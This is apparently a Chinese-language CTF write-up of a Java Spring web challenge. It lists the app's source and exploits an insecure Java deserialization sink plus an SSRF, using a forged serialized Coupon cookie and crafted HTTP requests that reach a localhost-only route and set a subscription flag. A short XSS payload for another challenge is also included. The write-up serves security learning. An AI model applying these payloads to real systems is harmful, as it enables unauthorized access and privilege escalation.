@GetMapping("/flag")
public ResponseEntity<String> getFlag(
    HttpServletRequest request) throws Exception {
  String flag = "You need to subscribe to get the flag.";
  String session = getSession(request);
  User user = userService.getUserBySession(session);
  if (user == null) {
    return new ResponseEntity<>(flag, HttpStatus.OK);
  }
  if (user.getSubscribed()) {
    flag = new Flag().getFlag();
  }
  return new ResponseEntity<>(flag, HttpStatus.OK);
}

需要 subscribe 才能拿到 flag

相关操作位于 /api/coupon/use/{id} 路由

1
2
3
4
5
6
7
8
@RequestMapping("/use/{id}")
public void create(
        @Valid @PathVariable String id,
        @RequestParam(value = "userId", defaultValue = "0") String userId,
        HttpServletRequest request) throws Exception {
    validateOrigin(request);
    couponService.useCoupon(id, userId);
}

validateOrigin 方法限制只允许本地 IP 访问

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
private void validateOrigin(HttpServletRequest request) {
    try {

        InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
        String uri = requestAddress.toString().split("/")[1];

        boolean isLocalhost = uri.equals("127.0.0.1");

        if (isLocalhost) {
            return;
        } else {
            throw new Exception("Not allowed");
        }
    } catch (Exception e) {
        System.out.println(e);
        throw new RuntimeException(e);
    }

}

couponService.useCoupon

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public void useCoupon(String id, String userId) throws Exception {
    User u = userService.getUserById(userId);
    if (u == null) {
        throw new Exception("User not found");
    }

    Coupon coupon = getCouponById(id);

    if (coupon == null) {
        throw new Exception("Coupon not found");
    }

    if (!coupon.getIsValid()) {
        throw new Exception("Coupon is not valid");
    }

    u.setSubscribed(true);

    userService.updateUser(u);
}

getSession

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private String getSession(HttpServletRequest request) {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  if (cookies != null) {
    for (Cookie cookie : cookies) {
      if (cookie.getName().equals("user")) {
        userCookie = cookie;
        break;
      }
    }
  }

  if (userCookie == null)
    return null;

  return userCookie.getValue();
}

getUserBySession, 存在反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
@Override
public User getUserBySession(String session) throws Exception {
    if (session == null) {
        return null;
    }
    try {
        byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
        ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
        ObjectInputStream ois = new Security(bis);
        Object o = ois.readObject();
        com.app.caching.User obj = (com.app.caching.User) o;
        return getUserById(obj.getId());
    } catch (Exception e) {
        return null;
    }
}

Security 重写了 ObjectInputStream

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 public class Security extends ObjectInputStream {
   public Security(InputStream inputStream) throws IOException {
     super(inputStream);
   }
 
   
   protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
     if (!Pattern.matches("(com\\.app\\.(.*))|(java\\.time\\.(.*))", desc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
     }
     return super.resolveClass(desc);
   }
 }

注册的路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@PostMapping("register")
public void register(
    @Valid @RequestBody User user,
    @RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {

  try {
    String avatar = userService.getAvatar(avatarProvider, user.getUsername());
    user.setAvatar(avatar);
  } catch (Exception e) {
  }
  userService.register(user);
}

getAvatar 可以 SSRF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@Override
public String getAvatar(String provider, String username) throws Exception {
    String avatarUrl = "http://%s/api/%s";
    avatarUrl = String.format(avatarUrl, provider, username);
    try {
        URL url = new URL(avatarUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("GET");
        InputStream inputStream = con.getInputStream();
        byte[] bytes = inputStream.readAllBytes();
        byte[] encoded = Base64.getEncoder().encode(bytes);
        String encodedString = new String(encoded);

        if (encodedString.length() == 0)
            return avatarUrl;
        return encodedString;
    } catch (Exception e) {
        e.printStackTrace();
        throw new Exception(e.getMessage());
    }
}

refresh 路由也有反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
@PostMapping("refresh")
public void refresh(HttpServletRequest request) throws Exception {
  Cookie[] cookies = request.getCookies();

  Cookie userCookie = null;
  for (Cookie cookie : cookies) {
    if (cookie.getName().equals("user")) {
      userCookie = cookie;
      break;
    }
  }
  userService.refresh(userCookie.getValue());
}

refresh 会把 user cookie 反序列化得到的对象 (必须是 Blueprint 或其子类) 存入 Redis

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@Override
public void refresh(String session) throws Exception {
    byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
    ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
    ObjectInputStream ois = new Security(bis);
    Object o = ois.readObject();
    com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;

    Cached cached = new Cached(
            obj.getId().toString(),
            o);

    cachedService.save(cached);
}

大致就是这几个点, 然后再整个贴一下 User 和 Coupon 相关的 Controller 和 Service

UserController

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
package com.app.controllers;

import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.time.Duration;

import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseCookie;
import org.springframework.http.ResponseEntity;

import com.app.entities.User;
import com.app.services.UserService;
import com.app.utils.ExceptionHandlers;
import com.app.utils.Flag;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.validation.Valid;

@RestController
@CrossOrigin(originPatterns = "*", allowCredentials = "true", allowedHeaders = "*", methods = {
		RequestMethod.GET, RequestMethod.POST, RequestMethod.PUT, RequestMethod.DELETE, RequestMethod.OPTIONS })
@RequestMapping("/api/user")
public class UserController extends ExceptionHandlers {
	private UserService userService;

	public UserController(UserService userService) {
		super();
		this.userService = userService;
	}

	@GetMapping("")
	public ResponseEntity<User> get(
			HttpServletRequest request) throws Exception {
		String session = getSession(request);
		User user = userService.getUserBySession(session);
		if (user == null) {
			return null;
		}
		user.setPassword(null);
		return new ResponseEntity<>(user, HttpStatus.OK);
	}

	@GetMapping("/flag")
	public ResponseEntity<String> getFlag(
			HttpServletRequest request) throws Exception {
		String flag = "You need to subscribe to get the flag.";
		String session = getSession(request);
		User user = userService.getUserBySession(session);
		if (user == null) {
			return new ResponseEntity<>(flag, HttpStatus.OK);
		}
		if (user.getSubscribed()) {
			flag = new Flag().getFlag();
		}
		return new ResponseEntity<>(flag, HttpStatus.OK);
	}

	@PostMapping("/logout")
	public void logout(
			HttpServletResponse response) throws Exception {
		ResponseCookie cookie = ResponseCookie.from("user", "")
				.maxAge(Duration.ofSeconds(0))
				.path("/")
				.build();
		response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
	}

	@PostMapping("register")
	public void register(
			@Valid @RequestBody User user,
			@RequestParam(value = "avatar", defaultValue = "ui-avatars.com") String avatarProvider) throws Exception {

		try {
			String avatar = userService.getAvatar(avatarProvider, user.getUsername());
			user.setAvatar(avatar);
		} catch (Exception e) {
		}
		userService.register(user);
	}

	@PostMapping("login")
	public ResponseEntity<User> register(
			@Valid @RequestBody User user,
			HttpServletResponse response) throws Exception {
		User newUser = userService.login(user, response);
		newUser.setPassword(null);
		return new ResponseEntity<>(newUser, HttpStatus.CREATED);
	}

	@PostMapping("refresh")
	public void refresh(HttpServletRequest request) throws Exception {
		Cookie[] cookies = request.getCookies();

		Cookie userCookie = null;
		for (Cookie cookie : cookies) {
			if (cookie.getName().equals("user")) {
				userCookie = cookie;
				break;
			}
		}
		userService.refresh(userCookie.getValue());
	}

	private String getSession(HttpServletRequest request) {
		Cookie[] cookies = request.getCookies();

		Cookie userCookie = null;
		if (cookies != null) {
			for (Cookie cookie : cookies) {
				if (cookie.getName().equals("user")) {
					userCookie = cookie;
					break;
				}
			}
		}

		if (userCookie == null)
			return null;

		return userCookie.getValue();
	}
}

CouponController

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.app.controllers;

import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.net.InetAddress;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;

import com.app.caching.Coupon;
import com.app.services.CouponService;
import com.app.utils.ExceptionHandlers;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.validation.Valid;

@RestController
@CrossOrigin()
@RequestMapping("/api/coupon")
public class CouponController extends ExceptionHandlers {
    private CouponService couponService;

    public CouponController(CouponService couponService) {
        super();
        this.couponService = couponService;
    }

    @RequestMapping("/{id}")
    public ResponseEntity<Coupon> get(
            @PathVariable("id") String id,
            HttpServletRequest request) {
        validateOrigin(request);
        Coupon todo = couponService.getCouponById(id);
        return new ResponseEntity<>(todo, HttpStatus.OK);
    }

    @RequestMapping("/generate/{code}")
    public ResponseEntity<Coupon> create(
            @Valid @PathVariable String code,
            HttpServletRequest request) throws Exception {
        validateOrigin(request);
        Coupon newCoupon = couponService.createCoupons(code);
        return new ResponseEntity<>(newCoupon, HttpStatus.CREATED);
    }

    @RequestMapping("/use/{id}")
    public void create(
            @Valid @PathVariable String id,
            @RequestParam(value = "userId", defaultValue = "0") String userId,
            HttpServletRequest request) throws Exception {
        validateOrigin(request);
        couponService.useCoupon(id, userId);
    }

    private void validateOrigin(HttpServletRequest request) {
        try {

            InetAddress requestAddress = InetAddress.getByName(request.getRemoteAddr());
            String uri = requestAddress.toString().split("/")[1];

            boolean isLocalhost = uri.equals("127.0.0.1");

            if (isLocalhost) {
                return;
            } else {
                throw new Exception("Not allowed");
            }
        } catch (Exception e) {
            System.out.println(e);
            throw new RuntimeException(e);
        }

    }
}

UserServiceImpl

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
package com.app.services;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.List;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.stereotype.Service;

import com.app.caching.Cached;
import com.app.entities.User;
import com.app.exceptions.ResourceNotFoundException;
import com.app.repositories.UserRepository;
import com.app.services.Security;

import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletResponse;

import java.net.HttpURLConnection;
import java.net.URL;

@Service
public class UserServiceImpl implements UserService {

    private UserRepository userRepository;

    @Autowired
    private CachedService cachedService;

    @Bean
    public PasswordEncoder encoder() {
        return new BCryptPasswordEncoder();
    }

    public UserServiceImpl(UserRepository userRepository) {
        super();
        this.userRepository = userRepository;
    }

    @Override
    public User getUserById(String id) {
        Long longId = Long.parseLong(id);
        User existingUser = userRepository
                .findById(longId)
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + id));
        return existingUser;
    }

    @Override
    public User getUserBySession(String session) throws Exception {
        if (session == null) {
            return null;
        }
        try {
            byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
            ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
            ObjectInputStream ois = new Security(bis);
            Object o = ois.readObject();
            com.app.caching.User obj = (com.app.caching.User) o;
            return getUserById(obj.getId());
        } catch (Exception e) {
            return null;
        }
    }

    @Override
    public String getAvatar(String provider, String username) throws Exception {
        String avatarUrl = "http://%s/api/%s";
        avatarUrl = String.format(avatarUrl, provider, username);
        try {
            URL url = new URL(avatarUrl);
            HttpURLConnection con = (HttpURLConnection) url.openConnection();
            con.setRequestMethod("GET");
            InputStream inputStream = con.getInputStream();
            byte[] bytes = inputStream.readAllBytes();
            byte[] encoded = Base64.getEncoder().encode(bytes);
            String encodedString = new String(encoded);

            if (encodedString.length() == 0)
                return avatarUrl;
            return encodedString;
        } catch (Exception e) {
            e.printStackTrace();
            throw new Exception(e.getMessage());
        }
    }

    @Override
    public void register(User user) throws Exception {
        user.setPassword(encoder().encode(user.getPassword()));
        List<User> existing = userRepository.findByUsername(user.getUsername());

        if (existing.size() > 0) {
            throw new Exception("User already exists");
        }

        User created = new User();
        created.setUsername(user.getUsername());
        created.setPassword(user.getPassword());
        created.setAvatar(user.getAvatar());
        userRepository.save(created);
    }

    @Override
    public User login(User user, HttpServletResponse response) throws Exception {
        List<User> existing = userRepository.findByUsername(user.getUsername());

        if (existing.size() == 0) {
            throw new Exception("User does not exist");
        }

        User created = existing.get(0);

        if (!encoder().matches(user.getPassword(), created.getPassword())) {
            throw new Exception("Password is incorrect");
        }

        com.app.caching.User object = new com.app.caching.User(
                created.getId().toString(),
                created.getUsername(),
                created.getAvatar());

        Cached cached = new Cached(
                "user:" + created.getId().toString(),
                object);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        byte[] bytes = baos.toByteArray();
        byte[] encoded = Base64.getEncoder().encode(bytes);
        String encodedString = new String(encoded);
        Cookie cookie = new Cookie("user", encodedString);
        cookie.setPath("/");
        response.addCookie(cookie);
        cachedService.save(cached);
        return created;
    }

    @Override
    public void refresh(String session) throws Exception {
        byte[] decodedBytes = Base64.getDecoder().decode(session.getBytes());
        ByteArrayInputStream bis = new ByteArrayInputStream(decodedBytes);
        ObjectInputStream ois = new Security(bis);
        Object o = ois.readObject();
        com.app.caching.Blueprint obj = (com.app.caching.Blueprint) o;

        Cached cached = new Cached(
                obj.getId().toString(),
                o);

        cachedService.save(cached);
    }

    @Override
    public User updateUser(User user) {
        User existingUser = userRepository
                .findById(user.getId())
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + user.getId()));

        if (user.getUsername() != null)
            existingUser.setUsername(user.getUsername());
        if (user.getPassword() != null)
            existingUser.setPassword(encoder().encode(user.getPassword()));

        return userRepository.save(existingUser);
    }

    @Override
    public User deleteUser(Long id) {
        User existingUser = userRepository
                .findById(id)
                .orElseThrow(() -> new ResourceNotFoundException(
                        "user not found with id: " + id));
        userRepository.delete(existingUser);
        return existingUser;
    }
}

CouponServiceImpl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.app.services;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;

import com.app.caching.Cached;
import com.app.caching.Coupon;
import com.app.entities.User;

@Repository
public class CouponServiceImpl implements CouponService {

    @Autowired
    private CachedService cachedService;

    @Autowired
    private UserService userService;

    @Override
    public Coupon getCouponById(String id) {
        Cached cached = cachedService.one("coupon:" + id);
        if (cached == null) {
            return null;
        }
        return (Coupon) cached.getValue();
    }

    @Override
    public Coupon createCoupons(String code) throws Exception {

        Coupon existing = getCouponById(code);

        if (existing != null) {
            throw new Exception("Coupon already exists");
        }

        Coupon coupon = new Coupon(code, code);
        cachedService.save(new Cached("coupon:" + coupon.getId(), coupon));
        return coupon;
    }

    @Override
    public void useCoupon(String id, String userId) throws Exception {
        User u = userService.getUserById(userId);
        if (u == null) {
            throw new Exception("User not found");
        }

        Coupon coupon = getCouponById(id);

        if (coupon == null) {
            throw new Exception("Coupon not found");
        }

        if (!coupon.getIsValid()) {
            throw new Exception("Coupon is not valid");
        }

        u.setSubscribed(true);

        userService.updateUser(u);
    }
}

CacheServiceImpl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.app.services;

import java.util.ArrayList;
import java.util.List;

import org.springframework.data.redis.core.HashOperations;
import org.springframework.stereotype.Repository;

import com.app.caching.Cached;

import jakarta.annotation.Resource;

@Repository
public class CachedServiceImpl implements CachedService {

    private final String hashReference = "Cached";

    @Resource(name = "redisTemplate")
    private HashOperations<String, String, Cached> hashOperations;

    @Override
    public void save(Cached cached) {
        hashOperations.put(cached.getId(), hashReference, cached);
    }

    @Override
    public Cached one(String id) {
        return hashOperations.get(id, hashReference);
    }
}

另外题目中存在一些 Bean, 关系如下

其实也没啥好说的, 理清楚各个功能之间的关系就行

首先注册一个用户, 拿到该用户的 ID, 然后以这个 ID 构造一个 Coupon, 通过 refresh 路由反序列化 Cookie, 将 Coupon 存入 Redis

然后通过 SSRF 使用该 Coupon, 将该用户的 subscribe 属性设置为 true, 最后访问 flag 路由即可拿到 flag

构造 Coupon

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package com.app;

import com.app.caching.Coupon;
import com.app.caching.User;

import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws Exception {
        Coupon coupon = new Coupon("coupon:2", "2");
        coupon.setValid(true);

        byte[] data1 = Serialization.serialize(coupon);
        System.out.println(Base64.getEncoder().encodeToString(data1));

        User user = new User("1", "test", "123");
        byte[] data2 = Serialization.serialize(user);
        System.out.println(Base64.getEncoder().encodeToString(data2));
    }
}

注册

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /api/user/register HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

refresh

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /api/user/refresh HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABZjb20uYXBwLmNhY2hpbmcuQ291cG9uAAAAAAAAAAECAAJaAAdpc1ZhbGlkTAAEY29kZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAhjb3Vwb246MgF0AAEy;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

SSRF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /api/user/register?avatar=127.0.0.1:9000/api/coupon/use/2?userId=1%26?x= HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 37
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Content-Type: application/json
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"test","password":"test"}

get flag

1
2
3
4
5
6
7
8
9
GET /api/user/flag HTTP/1.1
Host: 127.0.0.1:9000
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Origin: http://ae5dffd99a33b973bcc4f.playat.flagyard.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: user=rO0ABXNyABRjb20uYXBwLmNhY2hpbmcuVXNlcgAAAAAAAAABAgACTAAGYXZhdGFydAASTGphdmEvbGFuZy9TdHJpbmc7TAAIdXNlcm5hbWVxAH4AAXhyABljb20uYXBwLmNhY2hpbmcuQmx1ZXByaW50AAAAAAAAAAECAAFMAAJpZHEAfgABeHB0AAExdAA0ZXlKcFpDSTZJakVpTENKamIyUmxJam9pTVNJc0ltbHpWbUZzYVdRaU9tWmhiSE5sZlE9PXQABHRlc3Q=;
Connection: close

revenge *

题目来源于 Balsn CTF 2023 1linenginx

https://gist.github.com/arkark/32e1a0386360fe5ce7d63e141a74d7b9

XSS

1
http://10.4.96.121:8080/?q=,&msg=<script>alert(0)</script>

思路是通过 PostgreSQL 注入写文件, 然后配合 nginx 请求走私构造 XSS 拿到 proxy.local 中的 cookie (flag)

不过听说还有个更简单的解法, 虽然 cookie 的 Domain 为 proxy.local, 但是实际上这个 Domain 不区分端口, 所以使用 proxy.local:8080 就能访问到最开始的 flask 网站, 配合 XSS 直接就可以拿到 flag

有时间再复现

messydriver *

有时间再复现

0%